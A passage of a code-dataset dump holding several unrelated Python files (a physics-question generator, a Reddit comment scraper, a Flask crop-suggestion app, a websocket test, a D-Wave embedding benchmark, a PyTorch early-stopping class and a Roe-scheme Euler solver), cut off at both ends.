perpendicular to the \" + str(l2) + \" cm side\\n\"\n return q, a\n\nfor i in range(no_of_samples):\n ques, answer = type1()\n sample = {\n 'instruction': ques,\n 'input': \"EMF = B * l * v\",\n 'output': answer + \"\\n\\nThe electromotive force (EMF) can be calculated using the formula EMF = B * l * v, where B is the magnetic field magnitude, l is the side length of the rectangular wire loop, and v is the velocity of the loop after conversion from cm/s to m/s.\"\n }\n samples.append(sample)\n\n# Load existing JSON file\nwith open(\"science/ElectroMagneticInduction/emi.json\", \"r\") as file:\n existing_data = json.load(file)\n\n# Append new samples to existing data\nexisting_data.extend(samples)\n\n# Save the updated JSON data\nwith open(\"science/ElectroMagneticInduction/emi.json\", \"w\") as file:\n json.dump(existing_data, file, indent=4)\n", "repo_name": "arnav10goel/SciPhy-RAG", "sub_path": "science/ElectroMagneticInduction/induced_emf_and_timeitlasts/induced_emf_and_timeitlasts.py", "file_name": "induced_emf_and_timeitlasts.py", "file_ext": "py", "file_size_in_byte": 2025, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "math.pi", "line_number": 8, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 19, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 21, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 22, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 23, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 25, "usage_type": "call"}, {"api_name": "json.load", "line_number": 44, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 51, "usage_type": "call"}]} +{"seq_id": "39201802541", "text": "import requests, csv\n\n# optional: makes requests-cache make it easy to cache your results\n# import requests_cache\n# requests_cache.install_cache('reddit_cache')\n\n# where we store all the rows\nDATA = []\n\ndef get(url, args={}):\n print('GET', url, args)\n try:\n resp = requests.get(url, args, headers={'User-agent': 'linkage.fr'})\n return resp.json()\n except Exception as e:\n print(resp.text)\n raise e\n\ndef parse_comment(comment, reply_to=None):\n if 'body' in comment:\n replies = comment.get('replies', [])\n replies = comment.get('children') if replies else []\n author = comment.get('author', 'no-author')\n if replies:\n replies = [parse_comment(reply['data'], author) for reply in replies]\n if author != '[deleted]' and reply_to != '[deleted]':\n DATA.append([author, reply_to, comment.get('body',None)])\n\ndef parse_post(post):\n content = get('https://www.reddit.com' + post['permalink'] + '.json')\n comments = content[1]['data']['children']\n comments = [parse_comment(comment['data'], post['author']) for comment in comments]\n self_post = content[0]['data']['children'][0]['data'].get('body')\n\ncount = 0\nlast_post_id = ''\nwhile True:\n resp = get('https://www.reddit.com/r/django/top/.json', {\n 'count': count,\n 'after': last_post_id,\n 'sort': 'top',\n 't': 'all'\n })\n posts = resp['data']['children']\n for post in posts:\n post = post['data']\n print(post['title'])\n parse_post(post)\n count += 1\n last_post_id = resp['data']['after']\n print('COUNT:', count, last_post_id)\n print(len(DATA))\n if count > 100:\n break\n\nwriter = csv.writer(open('reddit.csv', 'w'))\nfor row in DATA:\n writer.writerow(row)\n", "repo_name": "mdamien/linkage", "sub_path": "mockup/reddit.py", "file_name": "reddit.py", "file_ext": "py", "file_size_in_byte": 1791, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "85", "api": [{"api_name": "requests.get", "line_number": 13, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 56, "usage_type": "call"}]} +{"seq_id": "30311898690", "text": "from flask import Flask, render_template, request\n\nimport main_operation.file1 as operation1\nimport main_operation.file2 as operation2\n\n\napp = Flask(__name__)\n\n\n@app.route(\"/\")\ndef home():\n return render_template(\"home.html\")\n\n\n@app.route(\"/about\")\ndef about():\n return render_template(\"about.html\")\n\n\n@app.route(\"/suggetion\", methods=['post'])\ndef getSuggetions():\n\n area = float(request.form['area'])\n prev_crop = request.form['prev_crop']\n pH = request.form['pH']\n soil_type = request.form['soil_type']\n temp = request.form['temp']\n season = request.form['season']\n\n print(area, prev_crop, pH, soil_type, temp, season)\n\n data = operation1.alternative_crops(area, prev_crop)\n data2 = operation2.best_crop(pH, soil_type, temp, season)\n\n print(data)\n print(data2)\n\n try:\n selected_crop = data[0][0]\n other_suggetions = data\n \n if data2 != None:\n selected_crop = data2[0]\n\n for crop in data:\n if crop[0] == data2[0]:\n selected_crop = data2[0]\n \n except:\n selected_crop = None\n if data2 != None:\n selected_crop = data2[0]\n\n\n # return \"Ok\" \n # try:\n # selected_crop = data[0][0]\n # other_suggetions = data\n # for crop in data:\n # if data2[0] == crop[0]:\n # print(data2[0], crop)\n # selected_crop = data2[0]\n # except:\n # selected_crop = None\n # if data2 != None:\n # selected_crop = data2\n\n if selected_crop == None:\n result = \"Sorry we don't have best crop suggetion for you now. but you can still cultivate the prevois crop {}\".format(\n prev_crop.capitalize())\n return render_template(\"result.html\", suggesion=result, other_suggetions=other_suggetions)\n\n result = '{} would be best for your land'.format(\n selected_crop.capitalize())\n return render_template(\"result.html\", suggesion=result, other_suggetions=other_suggetions)\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n\n\n# # farmer inputs\n\n# # Land Location\n# area = float(input(\"area measurement: \"))\n# prev_crop = input(\"Previous cultivated crop? \")\n\n# # soil test & environment info\n# pH = input(\"Enter pH? ex. range (4.0...8.0)\\n\")\n# soil_type = input(\n# \"Soil Type? ex. high, m-loam, alkail, silts, loam, well-draned-sandy-loamy, clay-loam, fertile, sandy\\n\")\n# temp = input(\"temperature? ex.(12 .. 35 degree)\\n\")\n# season = input(\n# \"what season is? ex. jan, feb, mar, apr, may, jun, jul, aug, sep, pct, nov, dec\\n\")\n\n\n#\n", "repo_name": "Saqib29/Thesis", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 2599, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "flask.Flask", "line_number": 7, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 12, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 17, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 23, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 23, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 24, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 24, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 25, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 25, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 26, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 26, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 27, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 27, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 28, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 28, "usage_type": "name"}, {"api_name": "main_operation.file1.alternative_crops", "line_number": 32, "usage_type": "call"}, {"api_name": "main_operation.file1", "line_number": 32, "usage_type": "name"}, {"api_name": "main_operation.file2.best_crop", "line_number": 33, "usage_type": "call"}, {"api_name": "main_operation.file2", "line_number": 33, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 71, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 75, "usage_type": "call"}]} +{"seq_id": "15271129448", "text": "#!/usr/bin/env python3\n\"\"\"\nThis test creates 10 websocket connections, then PUTs some new data, and then tests that all 10 clients\nreceived the same data.\n\"\"\"\n\nimport asyncio\nimport json\nimport requests\nimport websockets\n\ntest_url = 'http://localhost:3000/so/cool'\n\n\nasync def validate_data(connections, expected_result):\n for connection in connections:\n result = await connection.recv()\n parsed_result = json.loads(result)\n\n assert parsed_result == expected_result, 'Input data: {} is different from output data: {}'.format(\n expected_result, parsed_result)\n\n print(f'All 10 clients received {expected_result} successfully!')\n\n\nasync def main():\n # Make sure the value is null initially\n requests.put(test_url, json.dumps(None))\n\n connections = []\n for _ in range(10):\n connection = await websockets.connect(\"ws://localhost:3000/so/cool\")\n connections.append(connection)\n\n await validate_data(connections, None)\n\n # Put some data into icepeak over HTTP\n new_data = {'status': 'freezing'}\n requests.put(test_url, json.dumps(new_data))\n\n # Make sure all clients get the new data\n await validate_data(connections, new_data)\n\n for connection in connections:\n await connection.close()\n\n # Reset the value to make the test idempotent\n requests.put(test_url, json.dumps(None))\n\n\nif __name__ == '__main__':\n asyncio.get_event_loop().run_until_complete(main())\n", "repo_name": "channable/icepeak", "sub_path": "server/integration-tests/multiple_clients_test.py", "file_name": "multiple_clients_test.py", "file_ext": "py", "file_size_in_byte": 1454, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 123, "dataset": "github-code", "pt": "85", "api": [{"api_name": "json.loads", "line_number": 18, "usage_type": "call"}, {"api_name": "requests.put", "line_number": 28, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 28, "usage_type": "call"}, {"api_name": "websockets.connect", "line_number": 32, "usage_type": "call"}, {"api_name": "requests.put", "line_number": 39, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 39, "usage_type": "call"}, {"api_name": "requests.put", "line_number": 48, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 48, "usage_type": "call"}, {"api_name": "asyncio.get_event_loop", "line_number": 52, "usage_type": "call"}]} +{"seq_id": "30284979776", "text": "import strategies as strat\nimport samplers\nimport numpy as np\nimport pickle\nimport os\nimport matplotlib.pyplot as plt\nimport circuits as c\nimport time\n\n# ============================================================== #\nmax_layers = 7\nn_embedding_tries = 20\n\n# ============================================================== #\n\nsampler = samplers.MockSampler([])\n\noutput = np.zeros((max_layers - 1, max_layers + 1))\nn_vars_array = np.zeros((max_layers - 1, max_layers + 1))\ntimes_array = np.zeros((max_layers - 1, max_layers + 1))\n\ndirname = os.path.dirname(os.path.abspath(__file__)) + \"/embedding_results\"\nembeddings_file = dirname + \"/embeddings.pickle\"\nif os.path.exists(embeddings_file):\n os.remove(embeddings_file)\n\nvariables_file = dirname + \"/num_variables.pickle\"\nif os.path.exists(variables_file):\n os.remove(variables_file)\n\ntimes_file = dirname + \"/times.pickle\"\nif os.path.exists(times_file):\n os.remove(times_file)\n\nfor n_layers in range(1, max_layers):\n n_s, _ = c.get_ns_nx(n_layers)\n for batch in range(0, n_layers + 2): # with batch, I want to take actual batch sizes of size 2 ** batch. there is N_layers +1 x vars which means range(n_layers + 2 hits that)\n n_batches = 2 ** (n_layers + 1 - batch )\n strategy = strat.SmarterStrategy(n_layers, n_embedding_tries, 100, sampler, n_batches)\n try:\n print(\"===========================================================\")\n print(\"n_layers : {}, batch_size: {}\".format(n_layers, 2 ** batch))\n start = time.time()\n embedding = strategy.make_embedding()\n end = time.time()\n worst_chain_length = max(len(value) for value in embedding.values())\n embedding_time = end - start\n except Exception as e: # errors are not exceptions!?!?!?!??!?\n print(e)\n worst_chain_length = np.inf\n finally:\n bqm = strategy.get_most_complex_polynomial()\n n_vars = len(set(k for tup in bqm.keys() for k in tup))\n\n output[n_layers - 1, batch] = worst_chain_length\n pickle.dump(output, open(embeddings_file, \"wb\"))\n\n n_vars_array[n_layers - 1, batch] = n_vars\n pickle.dump(n_vars_array, open(variables_file, \"wb\"))\n\n times_array[n_layers - 1, batch] = embedding_time\n pickle.dump(times_array, open(times_file, \"wb\"))\n\nplt.imshow(output)\nplt.colorbar()\nplt.title('worst chain length for embedding')\nplt.ylabel('number of layers')\nplt.yticks(range(max_layers - 1), range(1, max_layers + 1))\nplt.xlabel('batch size')\nplt.xticks(range(max_layers + 1), [ 2 ** i for i in range(max_layers + 1)])\nplt.savefig(dirname + '/embeddings.png')\nplt.show()\nplt.close()\n\n\nplt.imshow(n_vars_array)\nplt.colorbar()\nplt.title('number of total variables')\nplt.ylabel('number of layers')\nplt.yticks(range(max_layers - 1), range(1, max_layers + 1))\nplt.xlabel('batch size')\nplt.xticks(range(max_layers + 1), [ 2 ** i for i in range(max_layers + 1)])\nplt.savefig(dirname + '/num_variables.png')\nplt.show()\nplt.close()\n\nplt.imshow(times_array)\nplt.colorbar()\nplt.title('time to find embedding')\nplt.ylabel('time [s]')\nplt.yticks(range(max_layers - 1), range(1, max_layers + 1))\nplt.xlabel('batch size')\nplt.xticks(range(max_layers + 1), [ 2 ** i for i in range(max_layers + 1)])\nplt.savefig(dirname + '/times.png')\nplt.show()\nplt.close()\n\n", "repo_name": "MartinDupont/dwave-test", "sub_path": "circuit_guesser/embedding_comparison.py", "file_name": "embedding_comparison.py", "file_ext": "py", "file_size_in_byte": 3356, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "samplers.MockSampler", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path", "line_number": 32, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 33, "usage_type": "call"}, {"api_name": "circuits.get_ns_nx", "line_number": 36, "usage_type": "call"}, {"api_name": "strategies.SmarterStrategy", "line_number": 39, "usage_type": "call"}, {"api_name": "time.time", "line_number": 43, "usage_type": "call"}, {"api_name": "time.time", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.inf", "line_number": 50, "usage_type": "attribute"}, {"api_name": "pickle.dump", "line_number": 56, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 59, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 66, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 77, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 77, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 79, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 79, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 80, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 81, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 82, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 82, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 83, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 84, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 87, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 87, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 88, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 88, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 89, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 89, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 90, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 90, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 91, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 91, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 92, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 92, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 93, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 93, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 94, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 94, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 95, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 95, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 96, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 96, "usage_type": "name"}]} +{"seq_id": "14755811601", "text": "\"\"\"Adapted from: https://github.com/Bjarten/early-stopping-pytorch\"\"\"\nimport numpy as np\nimport torch\n\n\nclass EarlyStopping:\n \"\"\"Early stops the training if validation loss doesn't improve after a given patience.\"\"\"\n def __init__(self, patience=7, verbose=False, monitor='val_loss', delta=0, trace_func=print):\n \"\"\"\n Args:\n patience (int): How long to wait after last improvement.\n Default: 7\n verbose (bool): If True, prints a message for each improvement.\n Default: False\n monitor (string): The metric to qualify the performance of the model.\n Default: val_loss\n delta (float): Minimum change in the monitored quantity to qualify as an improvement.\n Default: 0\n path (str): Path for the checkpoint to be saved to.\n Default: 'checkpoint.pt'\n trace_func (function): trace print function.\n Default: print\n \"\"\"\n self.patience = patience\n self.verbose = verbose\n self.monitor = monitor\n self.counter = 0\n self.best_score = None\n self.early_stop = False\n self.val_best = np.Inf\n self.delta = delta\n #self.path = path\n self.trace_func = trace_func\n\n def __call__(self, val, model, path):\n if self.monitor == 'val_loss':\n score = -val\n else:\n score = val\n\n if self.best_score is None:\n self.best_score = score\n self.save_checkpoint(val, model,path)\n elif score < self.best_score + self.delta:\n self.counter += 1\n self.trace_func(f'EarlyStopping counter: {self.counter} out of {self.patience}')\n if self.counter >= self.patience:\n self.early_stop = True\n else:\n self.best_score = score\n self.save_checkpoint(val, model,path)\n self.counter = 0\n\n def save_checkpoint(self, val, model,path):\n \"\"\"Saves model when encountering an improvement .\"\"\"\n if self.verbose:\n if self.monitor == 'val_loss':\n self.trace_func(f'{self.monitor} decreased ({self.val_best:.6f} --> {val:.6f}). Saving model ...')\n else:\n self.trace_func(f'{self.monitor} increased ({self.val_best:.6f} --> {val:.6f}). Saving model ...')\n torch.save(model.state_dict(), path)\n self.val_best = val", "repo_name": "SteffenEger/socialSolidaritydesign", "sub_path": "utils/pytorchtools.py", "file_name": "pytorchtools.py", "file_ext": "py", "file_size_in_byte": 2524, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "85", "api": [{"api_name": "numpy.Inf", "line_number": 30, "usage_type": "attribute"}, {"api_name": "torch.save", "line_number": 61, "usage_type": "call"}]} +{"seq_id": "21202716643", "text": "#! /usr/bin/env python\n# -*- coding:utf-8 -*-\n\n\n#import os, sys\nimport numpy as np\nfrom numpy import *\nimport matplotlib.pyplot as pyplot\n\nfrom matplotlib import rc\nrc('font', family='serif')\nrc('lines', linewidth=1.5)\nrc('font', size=14)\n\n\n\n#def func_cons2prim(q,gamma):\n# # Primitive variables\n# r=q[0];\n# u=q[1]/r;\n# E=q[2]/r;\n# p=(gamma-1.)*r*(E-0.5*u**2);\n#\n# return (r,u,p)\n\n#def func_prim2cons(r,u,p,gamma):\n# # Conservative variables\n# q0=r;\n# q1=r*u;\n# q2=p/(gamma-1.)+0.5*r*u**2;\n# q =np.array([ q0, q1, q2 ]);\n#\n# return (q)\n \ndef func_flux(q,gamma):\n # Primitive variables\n r=q[0]\n u=q[1]/r\n E=q[2]/r\n p=(gamma-1.)*r*(E-0.5*u**2)\n \n # Flux vector\n F0 = np.array(r*u)\n F1 = np.array(r*u**2+p)\n F2 = np.array(u*(r*E+p))\n flux=np.array([ F0, F1, F2 ])\n \n return (flux)\n\ndef flux_roe(q,dx,gamma,a,nx):\n\n # Compute primitive variables and enthalpy\n r=q[0]\n u=q[1]/r\n E=q[2]/r\n p=(gamma-1.)*r*(E-0.5*u**2)\n htot = gamma/(gamma-1)*p/r+0.5*u**2\n \n # Initialize Roe flux\n Phi=np.zeros((3,nx-1))\n \n for j in range (0,nx-1):\n \n # Compute Roe averages\n R=sqrt(r[j+1]/r[j]); # R_{j+1/2}\n rmoy=R*r[j]; # {hat rho}_{j+1/2}\n umoy=(R*u[j+1]+u[j])/(R+1); # {hat U}_{j+1/2}\n hmoy=(R*htot[j+1]+htot[j])/(R+1); # {hat H}_{j+1/2}\n amoy=sqrt((gamma-1.0)*(hmoy-0.5*umoy*umoy)); # {hat a}_{j+1/2}\n \n # Auxiliary variables used to compute P_{j+1/2}^{-1}\n alph1=(gamma-1)*umoy*umoy/(2*amoy*amoy)\n alph2=(gamma-1)/(amoy*amoy)\n\n # Compute vector (W_{j+1}-W_j)\n wdif = q[:,j+1]-q[:,j]\n \n # Compute matrix P^{-1}_{j+1/2}\n Pinv = np.array([[0.5*(alph1+umoy/amoy), -0.5*(alph2*umoy+1/amoy), alph2/2],\n [1-alph1, alph2*umoy, -alph2 ],\n [0.5*(alph1-umoy/amoy), -0.5*(alph2*umoy-1/amoy), alph2/2]]);\n \n # Compute matrix P_{j+1/2}\n P = np.array([[ 1, 1, 1 ],\n [umoy-amoy, umoy, umoy+amoy ],\n [hmoy-amoy*umoy, 0.5*umoy*umoy, hmoy+amoy*umoy ]]);\n \n # Compute matrix Lambda_{j+1/2}\n lamb = np.array([[ abs(umoy-amoy), 0, 0 ],\n [0, abs(umoy), 0 ],\n [0, 0, abs(umoy+amoy) ]]);\n \n # Compute Roe matrix |A_{j+1/2}|\n A=np.dot(P,lamb)\n A=np.dot(A,Pinv)\n \n # Compute |A_{j+1/2}| (W_{j+1}-W_j)\n Phi[:,j]=np.dot(A,wdif)\n \n #==============================================================\n # Compute Phi=(F(W_{j+1}+F(W_j))/2-|A_{j+1/2}| (W_{j+1}-W_j)/2\n #==============================================================\n F = func_flux(q,gamma);\n Phi=0.5*(F[:,0:nx-1]+F[:,1:nx])-0.5*Phi\n \n dF = (Phi[:,1:-1]-Phi[:,0:-2])\n \n return (dF)\n\ndef buildIC(pointCount, numCells):\n # Build IC\n r_vector = np.zeros(pointCount)\n u_vector = np.zeros(pointCount)\n p_vector = np.zeros(pointCount)\n splitCells = int(numCells/2)\n if IC == 1:\n print (\"Configuration 1, Sod's Problem\")\n p_vector[:splitCells] = 1.0 ; p_vector[splitCells:] = 0.1\n u_vector[:splitCells] = 0.0 ; u_vector[splitCells:] = 0.0\n r_vector[:splitCells] = 1.0 ; r_vector[splitCells:] = 0.125\n timeEnd = 0.20\n elif IC== 2:\n print (\"Configuration 2, Left Expansion and right strong shock\")\n p_vector[:splitCells] = 1000.; p_vector[splitCells:] = 0.1\n u_vector[:splitCells] = 0.0 ; u_vector[splitCells:] = 0.0\n r_vector[:splitCells] = 3.0 ; r_vector[splitCells:] = 0.2\n timeEnd = 0.01\n elif IC == 3:\n print (\"Configuration 3, Right Expansion and left strong shock\")\n p_vector[:splitCells] = 7. ; p_vector[splitCells:] = 10.\n u_vector[:splitCells] = 0.0 ; u_vector[splitCells:] = 0.0\n r_vector[:splitCells] = 1.0 ; r_vector[splitCells:] = 1.0\n timeEnd = 0.10\n elif IC == 4:\n print (\"Configuration 4, Shocktube problem of G.A. Sod, JCP 27:1, 1978\")\n p_vector[:splitCells] = 1.0 ; p_vector[splitCells:] = 0.1\n u_vector[:splitCells] = 0.75 ; u_vector[splitCells:] = 0.0\n r_vector[:splitCells] = 1.0 ; r_vector[splitCells:] = 0.125\n timeEnd = 0.17\n elif IC == 5:\n print (\"Configuration 5, Lax test case: M. Arora and P.L. Roe: JCP 132:3-11, 1997\")\n p_vector[:splitCells] = 3.528; p_vector[splitCells:] = 0.571\n u_vector[:splitCells] = 0.698; u_vector[splitCells:] = 0.0\n r_vector[:splitCells] = 0.445; r_vector[splitCells:] = 0.5\n timeEnd = 0.15\n elif IC == 6:\n print (\"Configuration 6, Mach = 3 test case: M. Arora and P.L. Roe: JCP 132:3-11, 1997\")\n p_vector[:splitCells] = 10.33; p_vector[splitCells:] = 1.0\n u_vector[:splitCells] = 0.92 ; u_vector[splitCells:] = 3.55\n r_vector[:splitCells] = 3.857; r_vector[splitCells:] = 1.0\n timeEnd = 0.09\n\n return p_vector, u_vector, r_vector, timeEnd\n\n\n#Fill out the constants and inputs\n\n#Constants\nCOURANT_NUM = 0.50 # Courant Number - CFL\nIC = 1 # 6 IC cases are available\n\n# Inputs\nspecificHeatsRatio = 1.4 # Ratio of specific heats - gamma\nnumCells = 400 # Number of cells - ncells\nx_lower =0.; x_upper = 1. # Limits of computational domain -start and final\nstep = (x_upper-x_lower)/numCells # Step size - dx\npointCount = numCells+1 # Number of points - nx\nx_domain = np.linspace(x_lower+step/2.,x_upper,pointCount) # Mesh - x\n\n#populate numpy arrays\np_vector, u_vector, r_vector, timeEnd = buildIC(pointCount, numCells)\n\n#Calculate values with newly populated vectors\nE0 = p_vector/((specificHeatsRatio-1.)*r_vector)+0.5*u_vector**2 # Total Energy density\na = sqrt(specificHeatsRatio*p_vector/r_vector) # Speed of sound\nq = np.array([r_vector,r_vector*u_vector,r_vector*E0]) # Vector of conserved variables\n\nif (False):\n fig = pyplot.subplots()\n ax1 = pyplot.subplot(4, 1, 1)\n #pyplot.title('Lax-Wendroff scheme')\n pyplot.plot(x_domain, r_vector, 'k-')\n pyplot.ylabel('$rho$',fontsize=18)\n pyplot.tick_params(axis='x',bottom=False,labelbottom=False)\n pyplot.grid(True)\n \n ax2 = pyplot.subplot(4, 1, 2)\n pyplot.plot(x_domain, u_vector, 'r-')\n pyplot.ylabel('$U$',fontsize=18)\n pyplot.tick_params(axis='x',bottom=False,labelbottom=False)\n pyplot.grid(True)\n\n ax3 = pyplot.subplot(4, 1, 3)\n pyplot.plot(x_domain, p_vector, 'b-')\n pyplot.ylabel('$P$',fontsize=18)\n pyplot.tick_params(axis='x',bottom=False,labelbottom=False)\n pyplot.grid(True)\n \n ax4 = pyplot.subplot(4, 1, 4)\n pyplot.plot(x_domain, E0, 'g-')\n pyplot.ylabel('$E$',fontsize=18)\n pyplot.grid(True)\n pyplot.xlim(x_lower,x_upper)\n pyplot.xlabel('x',fontsize=18)\n pyplot.subplots_adjust(left=0.2)\n pyplot.subplots_adjust(bottom=0.15)\n pyplot.subplots_adjust(top=0.95)\n \n # plt.show()\n\n# Loop from 0 to timeEnd\ntCur = 0\nitCount = 0\ndeltaTime=COURANT_NUM*step/max(abs(u_vector)+a) # Using the system's largest eigenvalue - dt\n\nwhile tCur < timeEnd:\n\n q0 = q.copy()\n dF = flux_roe(q0,step,specificHeatsRatio,a,pointCount)\n \n q[:,1:-2] = q0[:,1:-2]-deltaTime/step*dF\n q[:,0]=q0[:,0]; q[:,-1]=q0[:,-1]; # Dirichlet BCs\n \n # Compute primary variables\n rho=q[0]\n u=q[1]/rho\n E=q[2]/rho\n p=(specificHeatsRatio-1.)*rho*(E-0.5*u**2)\n a=sqrt(specificHeatsRatio*p/rho)\n if min(p)<0: print ('negative pressure found!')\n \n # Update/correct time step\n deltaTime=COURANT_NUM*step/max(abs(u)+a)\n \n # Update time and iteration counter\n tCur=tCur+deltaTime\n itCount+=1\n \n # Using pyplot plot\n if itCount%2 == 0:\n fig,axes = pyplot.subplots(nrows=4, ncols=1, num=1, figsize=(10, 8), clear=True)\n fig.suptitle('Roe Scheme')\n\n pyplot.subplot(4, 1, 1)\n #pyplot.title('Roe scheme')\n pyplot.plot(x_domain, rho, 